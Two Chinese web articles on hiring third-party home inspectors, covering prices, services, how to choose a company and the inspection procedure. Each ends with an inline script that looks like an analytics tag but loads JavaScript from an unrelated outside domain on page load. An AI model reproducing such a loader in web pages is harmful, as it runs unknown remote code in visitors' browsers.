请专业的第三方验房公司的几个理由

这几年，房地产行业发展十分迅速，新房数量急速上升，房屋的质量不能全部都得到保证，因为房子的质量所引起的纠纷官司比比皆是，这时候就需要第三方验房公司的帮忙了。那第三方验房公司真的有存在的必要性吗？第三方验房一般如何收费呢？今天就与大家来解答一下这几个问题。一、第三方验房一般怎么收费一般来说第三方验房的收费价格都是浮动的，这和房子所在地的验房公司定价以及验房师的技术水平、房屋的面积都有关系。普通高层毛坯房验房价格一般为350元左右，精装修普通高层房验房价格一般为850元左右，超出规定面积按2元／平米收费。二、有必要请第三方验房公司吗？第三方验房公司是独立于业主于房地产开发商的第三方服务公司，受业主委托，代表业主利益，对业主负责，目的就是为了给业主安全感。房子或许是大多数普通人一生中最大的投资，雇佣第三方验房公司可以帮助你降低投资风险。并且大多数买房的业主都不是专业的行家，很多又是第一次买房，看房的时候常常侧重于房屋的价格、地理位置和房屋内部的空间，会忽略房屋的质量是否达标，装修是否安全、水电是否合规等重要的问题。这个时候就需要第三方的验房公司参与验房来避免一系列房屋的隐患问题。三、第三方验房公司主要提供哪些服务大多数第三方的验房公司主要提供专业的收房验房、装修顾问、装修督导监理、房屋维权等各种服务，主要目的就是让业主避开一系列消费误区以及陷阱。以上就是为什么要请第三方的验房公司的原因以及第三方验房公司收费价格、提供的服务，希望对大家有所帮助。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

新购买的毛坯房有必要请第三方验房吗

​随着房地产的不断崛起，第三方验房也应运而生，走入人们的视野。专业的事由专业的人来做，因此请第三方验房的，虽然需要支付一笔费用，但是与高额的房价来比，还是值得的。很多业主认为自己就可以验房，无非是看看门窗、墙面、水管和电路，其实这些地方是否存在问题，从肉眼是可以看出来的，但是第三方验房使用专门的工具，能更准确的判断出问题是否能通过后续装修来弥补，精准的发现房屋存在的隐患，让业主日后居住更加安心。一、如何选择第三方验房公司既然决定找第三方验房，就要找资质高信誉好的验房公司，房子是可能居住一辈子的地方，不能有半点马虎。首先核实公司是否有正规的营业执照，其次查看验房师的验房资质，最后验房后是否出具验房报告。二、验房流程第三方验房主要会用到三脚架、激光水平尺、激光测距仪、手电筒、验电插头、小锤子。使用小锤子轻敲室内墙面、地面和天花板，找到空鼓和有裂纹的地方。使用激光水平尺测量房屋的垂直度，然后使用激光测距仪测量房屋四角和中心点的高度。检查窗户的密封性、是否开合正常、玻璃是否有划痕破损。检查开关和插座是否牢固，是否预留电视、电话、网线插孔，测量强弱电是否通畅，电闸控制是否正常。检查水压和管道及排污系统。将检查出不符合规范的内容记录在验房报告中。其实第三方验房和个人验房的流程基本一致，只是第三方验房使用专业的工具，更为细致而且验房员相对比较有经验，可以为业主提供一些解决方法。无论是否请第三方验房，在收房前也一定要验房，避免后续发生问题无法处理。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();